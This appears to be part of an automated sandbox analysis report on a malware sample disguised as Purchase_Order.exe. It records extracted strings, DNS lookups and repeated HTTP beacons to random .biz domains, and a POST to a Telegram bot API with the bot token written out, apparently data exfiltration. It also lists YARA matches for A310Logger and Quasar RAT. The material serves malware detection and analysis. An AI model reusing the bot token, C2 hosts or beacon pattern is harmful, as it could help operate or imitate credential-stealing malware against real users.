Source: Purchase_Order.exe, 00000001.00000003.746991905.00000000014D2000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.752762468.00000000014D2000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.757499366.00000000014D2000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.750419000.00000000014D2000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.760293699.00000000014D2000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.751647620.00000000014D2000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.762791696.00000000014D2000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.741536432.00000000014B2000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.761583113.00000000014D2000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.753887575.00000000014D2000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.758739658.00000000014D2000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://d.symcb.com/rpa0
Source: Purchase_Order.exe, 00000001.00000003.599473218.00000000014E0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.592830619.00000000015C0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/Reduce
Source: Purchase_Order.exe, 00000001.00000003.599443845.00000000014E0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.592830619.00000000015C0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter
Source: Purchase_Order.exe, 00000001.00000003.599443845.00000000014E0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.592830619.00000000015C0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/indexOf
Source: Purchase_Order.exe, 00000001.00000003.592858911.00000000015C0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.599473218.00000000014E0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/Trim
Source: Purchase_Order.exe, 00000001.00000003.592858911.00000000015C0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.599473218.00000000014E0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/startsWith
Source: Purchase_Order.exe, 00000001.00000003.592858911.00000000015C0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.599473218.00000000014E0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/String/endsWith
Source: Purchase_Order.exe, 00000001.00000003.590013735.00000000015C0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.598467610.0000000001500000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://javadl-esd-secure.oracle.com/update/%s/map-%s.xml
Source: Purchase_Order.exe, 00000001.00000003.598467610.0000000001500000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://javadl-esd-secure.oracle.com/update/%s/map-%s.xmlNo
Source: Purchase_Order.exe, 00000001.00000003.590013735.00000000015C0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://javadl-esd-secure.oracle.com/update/%s/map-m-%s.xml
Source: Purchase_Order.exe, 00000001.00000003.590013735.00000000015C0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://javadl-esd-secure.oracle.com/update/%s/map-m-%s.xmlhttps://javadl-esd-secure.oracle.com/upda
Source: Purchase_Order.exe, 00000001.00000002.800597214.0000000004E91000.00000004.00000020.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.313142490.0000000004E91000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com
Source: Purchase_Order.exe, 00000001.00000003.666606362.0000000001650000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://ols.officeapps.live.com/olsc/OlsClient.svc/OlsClient
Source: Purchase_Order.exe, 00000001.00000002.793544673.00000000017DA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://wa.21.76.77/
Source: Purchase_Order.exe, 00000001.00000003.545722036.0000000001650000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.autoitscript.com/site/autoit/8
Source: Purchase_Order.exe, 00000001.00000003.476713323.00000000014B0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.digicert.com/CPS0
Source: armsvc.exe, 00000002.00000003.423388787.000000000082E000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.422649444.00000000009E0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.google.com
Source: unknown DNS traffic detected: queries for: pywolwnvd.biz
Source: global traffic HTTP traffic detected: GET /1 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Cookie: btst=863512d9d6af677f0ece2bda5c4f81c5|84.17.52.2|1681663898|1681663898|0|1|0
Source: global traffic HTTP traffic detected: GET /1 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Cookie: btst=863512d9d6af677f0ece2bda5c4f81c5|84.17.52.2|1681663900|1681663898|1|2|0
Source: global traffic HTTP traffic detected: GET /1 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Cookie: btst=863512d9d6af677f0ece2bda5c4f81c5|84.17.52.2|1681663904|1681663898|2|3|0
Source: global traffic HTTP traffic detected: GET /1 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Cookie: btst=863512d9d6af677f0ece2bda5c4f81c5|84.17.52.2|1681663904|1681663898|2|3|0
Source: global traffic HTTP traffic detected: GET /1 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Cookie: btst=863512d9d6af677f0ece2bda5c4f81c5|84.17.52.2|1681663904|1681663898|2|3|0
Source: global traffic HTTP traffic detected: GET /1 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Cookie: btst=863512d9d6af677f0ece2bda5c4f81c5|84.17.52.2|1681663904|1681663898|2|3|0
Source: global traffic HTTP traffic detected: GET /1 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Cookie: btst=863512d9d6af677f0ece2bda5c4f81c5|84.17.52.2|1681663911|1681663898|4|4|0
Source: global traffic HTTP traffic detected: GET /1 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Cookie: btst=863512d9d6af677f0ece2bda5c4f81c5|84.17.52.2|1681663911|1681663898|2|5|0
Source: global traffic HTTP traffic detected: GET /1 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Cookie: btst=863512d9d6af677f0ece2bda5c4f81c5|84.17.52.2|1681663911|1681663898|2|5|0
Source: global traffic HTTP traffic detected: GET /1 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Cookie: btst=863512d9d6af677f0ece2bda5c4f81c5|84.17.52.2|1681663911|1681663898|2|5|0
Source: global traffic HTTP traffic detected: GET /1 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Cookie: btst=863512d9d6af677f0ece2bda5c4f81c5|84.17.52.2|1681663915|1681663898|3|6|0
Source: global traffic HTTP traffic detected: GET /1 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Cookie: btst=863512d9d6af677f0ece2bda5c4f81c5|84.17.52.2|1681663915|1681663898|3|6|0
Source: global traffic HTTP traffic detected: GET /1 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Cookie: btst=863512d9d6af677f0ece2bda5c4f81c5|84.17.52.2|1681663915|1681663898|3|6|0
Source: global traffic HTTP traffic detected: GET /1 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Cookie: btst=863512d9d6af677f0ece2bda5c4f81c5|84.17.52.2|1681663915|1681663898|3|6|0
Source: global traffic HTTP traffic detected: GET /1 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Cookie: btst=863512d9d6af677f0ece2bda5c4f81c5|84.17.52.2|1681663915|1681663898|3|6|0
Source: global traffic HTTP traffic detected: GET /1 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Cookie: btst=863512d9d6af677f0ece2bda5c4f81c5|84.17.52.2|1681663915|1681663898|3|6|0
Source: global traffic HTTP traffic detected: GET /1 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Cookie: btst=863512d9d6af677f0ece2bda5c4f81c5|84.17.52.2|1681663915|1681663898|3|6|0
Source: global traffic HTTP traffic detected: GET /i?subid1=20230417-0252-0072-982c-7830c1b6ff91 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: ww25.uhxqin.biz
Source: global traffic HTTP traffic detected: GET /hwboxlvso?subid1=20230417-0252-0217-a565-df83af7995d0 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: ww25.uhxqin.biz
Source: global traffic HTTP traffic detected: GET /1 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Cookie: btst=863512d9d6af677f0ece2bda5c4f81c5|84.17.52.2|1681663915|1681663898|3|6|0
Source: global traffic HTTP traffic detected: GET /susodts?subid1=20230417-0252-03d5-b4f5-3a001907b1ba HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: ww25.anpmnmxo.biz
Source: global traffic HTTP traffic detected: GET /vblpijpju?subid1=20230417-0252-0430-af10-a9cc4955344e HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: ww25.anpmnmxo.biz
Source: global traffic HTTP traffic detected: GET /wbmajgxt?subid1=20230417-0252-2644-9461-0b05eeea2e1e HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: ww25.uhxqin.biz
Source: global traffic HTTP traffic detected: GET /caqrqafassxjj?subid1=20230417-0252-278e-b8af-6b55fdf40877 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: ww25.uhxqin.biz
Source: global traffic HTTP traffic detected: GET /jdokvd?subid1=20230417-0252-2771-aad6-dd7bca8ff058 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: ww25.anpmnmxo.biz
Source: global traffic HTTP traffic detected: GET /caav?subid1=20230417-0252-2868-b969-a2461ae11758 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: ww25.anpmnmxo.biz
Source: unknown Network traffic detected: HTTP traffic on port 49694 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49694
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49693
Source: unknown Network traffic detected: HTTP traffic on port 49693 -> 443
Source: unknown HTTP traffic detected: POST /bot5797428905:AAGaRRXGZN1d9GGFd3sE5x4uSpCGF0PU4m4/sendMessage HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Accept-Language: en-USUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 181Host: api.telegram.org
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.3:49693 version: TLS 1.2
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.3:49694 version: TLS 1.2
Source: Purchase_Order.exe, 00000000.00000002.270558553.0000000001519000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>
Source: Purchase_Order.exe, 00000001.00000003.578379611.00000000015C0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: _winapi_getrawinputdata _winapi_getrawinputdeviceinfo _winapi_getregiondata _winapi_getregisteredrawinputdevices \

Spam, unwanted Advertisements and Ransom Demands

barindex
Source: Purchase_Order.exe, 00000001.00000003.510191687.0000000001640000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: ?_Unlock@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@UAEXXZ
Source: Purchase_Order.exe, 00000001.00000003.510191687.0000000001640000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: ?_Unlock@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@UAEXXZh
Source: Purchase_Order.exe, 00000001.00000003.510191687.0000000001640000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: ?_Unlock@?$basic_streambuf@DU?$char_traits@D@std@@@std@@
Source: Purchase_Order.exe, 00000001.00000003.295982504.00000000047F0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: ?_Unlock@?$basic_streambuf@GU?$char_traits@G@std@@@std@@UEAAXXZ
Source: Purchase_Order.exe, 00000001.00000003.295982504.00000000047F0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: ?_Unlock@?$basic_streambuf@GU?$char_traits@G@std@@@std@@UEAAXXZ*
Source: Purchase_Order.exe, 00000001.00000003.490146430.0000000001640000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: ?_Unlock@?$basic_streambuf@DU?$char_traits@D@std@@@std@@UAEXXZ

System Summary

barindex
Source: 0.2.Purchase_Order.exe.913fa98.12.raw.unpack, type: UNPACKEDPE Matched rule: Detects A310Logger Author: ditekSHen
Source: 0.2.Purchase_Order.exe.8f97a78.13.raw.unpack, type: UNPACKEDPE Matched rule: Detects A310Logger Author: ditekSHen
Source: 0.2.Purchase_Order.exe.43b10d8.8.raw.unpack, type: UNPACKEDPE Matched rule: Detects A310Logger Author: ditekSHen
Source: 0.2.Purchase_Order.exe.913fa98.12.unpack, type: UNPACKEDPE Matched rule: Detects A310Logger Author: ditekSHen
Source: 0.2.Purchase_Order.exe.43b10d8.8.unpack, type: UNPACKEDPE Matched rule: Detects A310Logger Author: ditekSHen
Source: 0.2.Purchase_Order.exe.43890b8.6.unpack, type: UNPACKEDPE Matched rule: Detects A310Logger Author: ditekSHen
Source: 3.3.AppLaunch.exe.7bfa6e8.0.unpack, type: UNPACKEDPE Matched rule: Detects Quasar RAT Author: Florian Roth (Nextron Systems)
Source: 00000003.00000002.297345256.0000000009050000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Detects Quasar RAT Author: Florian Roth (Nextron Systems)
Source: 00000001.00000002.777921913.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects A310Logger Author: ditekSHen
Source: 00000003.00000003.276404705.0000000007BC6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects Quasar RAT Author: Florian Roth (Nextron Systems)
Source: 00000000.00000002.308576519.000000000913F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Auto-generated rule - file scan copy.pdf.r11 Author: Florian Roth (Nextron Systems)
Source: initial sample Static PE information: Filename: Purchase_Order.exe
Source: C:\Users\user\Desktop\Purchase_Order.exe Code function: 0_2_055DE5B8 0_2_055DE5B8
Source: C:\Users\user\Desktop\Purchase_Order.exe Code function: 0_2_055DE5AA 0_2_055DE5AA
Source: C:\Users\user\Desktop\Purchase_Order.exe Code function: 0_2_055DBC14 0_2_055DBC14
Source: C:\Users\user\Desktop\Purchase_Order.exe Code function: 1_3_048C4CD0 1_3_048C4CD0
Source: C:\Users\user\Desktop\Purchase_Order.exe Code function: 1_3_048C3D83 1_3_048C3D83
Source: C:\Users\user\Desktop\Purchase_Order.exe Code function: 1_3_048C4DA6 1_3_048C4DA6
Source: C:\Users\user\Desktop\Purchase_Order.exe Code function: 1_3_048B15A0 1_3_048B15A0
Source: C:\Users\user\Desktop\Purchase_Order.exe Code function: 1_3_048E3DB2 1_3_048E3DB2
Source: C:\Users\user\Desktop\Purchase_Order.exe Code function: 1_3_048E5FF3 1_3_048E5FF3
Source: C:\Users\user\Desktop\Purchase_Order.exe Code function: 1_3_048DEF1D 1_3_048DEF1D
Source: C:\Users\user\Desktop\Purchase_Order.exe Code function: 1_3_048E4896 1_3_048E4896
Source: C:\Users\user\Desktop\Purchase_Order.exe Code function: 1_3_048B28A0 1_3_048B28A0
Source: C:\Users\user\Desktop\Purchase_Order.exe Code function: 1_3_048E503E 1_3_048E503E
Source: C:\Users\user\Desktop\Purchase_Order.exe Code function: 1_3_048C6237 1_3_048C6237
Source: C:\Users\user\Desktop\Purchase_Order.exe Code function: 1_3_048B6250 1_3_048B6250
Source: C:\Users\user\Desktop\Purchase_Order.exe Code function: 1_3_048D23C4 1_3_048D23C4
Source: C:\Users\user\Desktop\Purchase_Order.exe Code function: 1_3_048E4324 1_3_048E4324
Source: C:\Windows\System32\FXSSVC.exe Section loaded: ualapi.dll
Source: C:\Windows\System32\msdtc.exe Section loaded: msdtcvsp1res.dll
Source: C:\Windows\System32\msdtc.exe Section loaded: oci.dll
Source: unknown Driver loaded: C:\Windows\System32\drivers\AppVStrm.sys
Source: elevation_service.exe.1.dr Static PE information: Number of sections : 12 > 10
Source: Purchase_Order.exe Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Source: 0.2.Purchase_Order.exe.913fa98.12.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_A310Logger author = ditekSHen, description = Detects A310Logger, snort_sid = 920204-920207
Source: 0.2.Purchase_Order.exe.8f97a78.13.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_A310Logger author = ditekSHen, description = Detects A310Logger, snort_sid = 920204-920207
Source: 0.2.Purchase_Order.exe.43b10d8.8.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_A310Logger author = ditekSHen, description = Detects A310Logger, snort_sid = 920204-920207
Source: 0.2.Purchase_Order.exe.913fa98.12.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_A310Logger author = ditekSHen, description = Detects A310Logger, snort_sid = 920204-920207
Source: 0.2.Purchase_Order.exe.43b10d8.8.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_A310Logger author = ditekSHen, description = Detects A310Logger, snort_sid = 920204-920207
Source: 0.2.Purchase_Order.exe.43890b8.6.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_A310Logger author = ditekSHen, description = Detects A310Logger, snort_sid = 920204-920207
Source: 3.3.AppLaunch.exe.7bfa6e8.0.unpack, type: UNPACKEDPE Matched rule: Quasar_RAT_1 date = 2017-04-07, hash4 = f08db220df716de3d4f63f3007a03f902601b9b32099d6a882da87312f263f34, hash3 = 515c1a68995557035af11d818192f7866ef6a2018aa13112fefbe08395732e89, hash2 = 1ce40a89ef9d56fd32c00db729beecc17d54f4f7c27ff22f708a957cd3f9a4ec, hash1 = 0774d25e33ca2b1e2ee2fafe3fdbebecefbf1d4dd99e6460f0bc8713dd0fd740, author = Florian Roth (Nextron Systems), description = Detects Quasar RAT, reference = https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 3.3.AppLaunch.exe.7bfa6e8.0.unpack, type: UNPACKEDPE Matched rule: HKTL_NET_GUID_SharpScribbles date = 2021-01-21, author = Arnim Rupp (https://github.com/ruppde), description = Detects .NET red/black-team tools via typelibguid, reference = https://github.com/V1V1/SharpScribbles, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, modified = 2023-04-06
Source: 00000003.00000002.297345256.0000000009050000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Quasar_RAT_1 date = 2017-04-07, hash4 = f08db220df716de3d4f63f3007a03f902601b9b32099d6a882da87312f263f34, hash3 = 515c1a68995557035af11d818192f7866ef6a2018aa13112fefbe08395732e89, hash2 = 1ce40a89ef9d56fd32c00db729beecc17d54f4f7c27ff22f708a957cd3f9a4ec, hash1 = 0774d25e33ca2b1e2ee2fafe3fdbebecefbf1d4dd99e6460f0bc8713dd0fd740, author = Florian Roth (Nextron Systems), description = Detects Quasar RAT, reference = https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 00000003.00000002.297345256.0000000009050000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: HKTL_NET_GUID_SharpScribbles date = 2021-01-21, author = Arnim Rupp (https://github.com/ruppde), description = Detects .NET red/black-team tools via typelibguid, reference = https://github.com/V1V1/SharpScribbles, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, modified = 2023-04-06
Source: 00000001.00000002.777921913.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: MALWARE_Win_A310Logger author = ditekSHen, description = Detects A310Logger, snort_sid = 920204-920207
Source: 00000003.00000003.276404705.0000000007BC6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Quasar_RAT_1 date = 2017-04-07, hash4 = f08db220df716de3d4f63f3007a03f902601b9b32099d6a882da87312f263f34, hash3 = 515c1a68995557035af11d818192f7866ef6a2018aa13112fefbe08395732e89, hash2 = 1ce40a89ef9d56fd32c00db729beecc17d54f4f7c27ff22f708a957cd3f9a4ec, hash1 = 0774d25e33ca2b1e2ee2fafe3fdbebecefbf1d4dd99e6460f0bc8713dd0fd740, author = Florian Roth (Nextron Systems), description = Detects Quasar RAT, reference = https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
